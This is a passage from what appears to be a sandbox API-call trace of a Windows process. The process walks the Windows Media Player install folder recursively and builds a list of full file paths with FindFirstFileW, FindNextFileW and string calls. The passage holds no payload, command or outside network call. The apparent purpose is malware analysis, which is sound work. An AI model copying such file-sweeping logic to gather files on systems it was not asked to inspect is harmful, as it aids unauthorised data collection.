lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.005] lstrcmpW (lpString1="Media Renderer", lpString2=".") returned 1 [0030.005] lstrcmpW (lpString1="Media Renderer", lpString2="..") returned 1 [0030.005] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.005] lstrlenW (lpString="Media Renderer") returned 14 [0030.005] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Media Renderer" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0030.005] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\" [0030.005] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.005] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*" [0030.005] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.015] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.015] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.015] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.015] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.015] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.016] lstrcmpW (lpString1="avtransport.xml", lpString2=".") returned 1 [0030.016] lstrcmpW (lpString1="avtransport.xml", lpString2="..") returned 1 [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.016] lstrlenW (lpString="avtransport.xml") returned 15 [0030.016] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 74 [0030.016] lstrcpyW (in: lpString1=0x468290, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0030.016] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.016] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0030.016] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.016] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0030.016] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 84 [0030.016] lstrcpyW (in: lpString1=0x468330, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0030.016] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.016] lstrcmpW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0030.016] lstrcmpW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.016] lstrlenW (lpString="DMR_120.jpg") returned 11 [0030.016] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 70 [0030.016] lstrcpyW (in: lpString1=0x4683e8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0030.016] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.016] lstrcmpW (lpString1="DMR_120.png", lpString2=".") returned 1 [0030.016] lstrcmpW (lpString1="DMR_120.png", lpString2="..") returned 1 [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.016] lstrlenW (lpString="DMR_120.png") returned 11 [0030.016] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 70 [0030.016] lstrcpyW (in: lpString1=0x468480, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0030.016] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.016] lstrcmpW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0030.016] lstrcmpW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.016] lstrlenW (lpString="DMR_48.jpg") returned 10 [0030.016] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 69 [0030.016] lstrcpyW (in: lpString1=0x468518, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0030.016] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.016] lstrcmpW (lpString1="DMR_48.png", lpString2=".") returned 1 [0030.016] lstrcmpW (lpString1="DMR_48.png", lpString2="..") returned 1 [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.016] lstrlenW (lpString="DMR_48.png") returned 10 [0030.016] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 69 [0030.016] lstrcpyW (in: lpString1=0x4685b0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0030.016] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.016] lstrcmpW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0030.016] lstrcmpW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0030.016] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0030.017] lstrlenW (lpString="RenderingControl.xml") returned 20 [0030.017] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0030.017] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned 79 [0030.017] lstrcpyW (in: lpString1=0x468648, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0030.017] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.017] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.017] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.017] lstrcmpW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0030.017] lstrcmpW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0030.017] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.017] lstrlenW (lpString="mpvis.DLL") returned 9 [0030.017] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0030.017] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned 53 [0030.017] lstrcpyW (in: lpString1=0x460c90, lpString2="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0030.017] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.017] lstrcmpW (lpString1="Network Sharing", lpString2=".") returned 1 [0030.017] lstrcmpW (lpString1="Network Sharing", lpString2="..") returned 1 [0030.017] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.017] lstrlenW (lpString="Network Sharing") returned 15 [0030.017] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Network Sharing" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0030.017] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\" [0030.017] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned 60 [0030.017] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*" [0030.017] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.018] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.018] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.018] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.018] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.018] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.018] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.018] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.018] lstrcmpW (lpString1="routing.exe", lpString2=".") returned 1 [0030.018] lstrcmpW (lpString1="routing.exe", lpString2="..") returned 1 [0030.018] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.018] lstrlenW (lpString="routing.exe") returned 11 [0030.018] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0030.018] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned 55 [0030.018] lstrcpyW (in: lpString1=0x460d08, lpString2="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0030.018] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.018] lstrcmpW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0030.018] lstrcmpW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0030.018] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.018] lstrlenW (lpString="setup_wm.exe") returned 12 [0030.018] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0030.018] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned 56 [0030.018] lstrcpyW (in: lpString1=0x465d40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0030.018] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.018] lstrcmpW (lpString1="Skins", lpString2=".") returned 1 [0030.018] lstrcmpW (lpString1="Skins", lpString2="..") returned 1 [0030.018] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.018] lstrlenW (lpString="Skins") returned 5 [0030.018] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Skins" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins" [0030.018] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\" [0030.018] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0030.018] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*" [0030.018] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.018] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.018] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.018] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.018] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.018] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.018] lstrcmpW (lpString1="Revert.wmz", lpString2=".") returned 1 [0030.018] lstrcmpW (lpString1="Revert.wmz", lpString2="..") returned 1 [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0030.019] lstrlenW (lpString="Revert.wmz") returned 10 [0030.019] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned 60 [0030.019] lstrcpyW (in: lpString1=0x462688, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0030.019] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.019] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.019] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.019] lstrcmpW (lpString1="Visualizations", lpString2=".") returned 1 [0030.019] lstrcmpW (lpString1="Visualizations", lpString2="..") returned 1 [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.019] lstrlenW (lpString="Visualizations") returned 14 [0030.019] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Visualizations" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0030.019] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\" [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned 59 [0030.019] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*" [0030.019] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.019] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.019] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.019] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.019] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.019] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.019] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.019] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.019] lstrcmpW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0030.019] lstrcmpW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.019] lstrlenW (lpString="wmlaunch.exe") returned 12 [0030.019] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned 56 [0030.019] lstrcpyW (in: lpString1=0x465dc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0030.019] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.019] lstrcmpW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0030.019] lstrcmpW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.019] lstrlenW (lpString="wmpconfig.exe") returned 13 [0030.019] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0030.019] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned 57 [0030.019] lstrcpyW (in: lpString1=0x465e40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0030.019] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.020] lstrcmpW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0030.020] lstrcmpW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.020] lstrlenW (lpString="WMPDMC.exe") returned 10 [0030.020] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned 54 [0030.020] lstrcpyW (in: lpString1=0x460d80, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0030.020] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.020] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0030.020] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.020] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0030.020] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned 58 [0030.020] lstrcpyW (in: lpString1=0x465ec0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0030.020] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.020] lstrcmpW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0030.020] lstrcmpW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.020] lstrlenW (lpString="wmpenc.exe") returned 10 [0030.020] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned 54 [0030.020] lstrcpyW (in: lpString1=0x460df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0030.020] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.020] lstrcmpW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0030.020] lstrcmpW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.020] lstrlenW (lpString="wmplayer.exe") returned 12 [0030.020] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned 56 [0030.020] lstrcpyW (in: lpString1=0x465f40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0030.020] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.020] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0030.020] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.020] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0030.020] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned 63 [0030.020] lstrcpyW (in: lpString1=0x462710, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0030.020] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.020] lstrcmpW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0030.020] lstrcmpW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.020] lstrlenW (lpString="wmpnssci.dll") returned 12 [0030.020] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned 56 [0030.020] lstrcpyW (in: 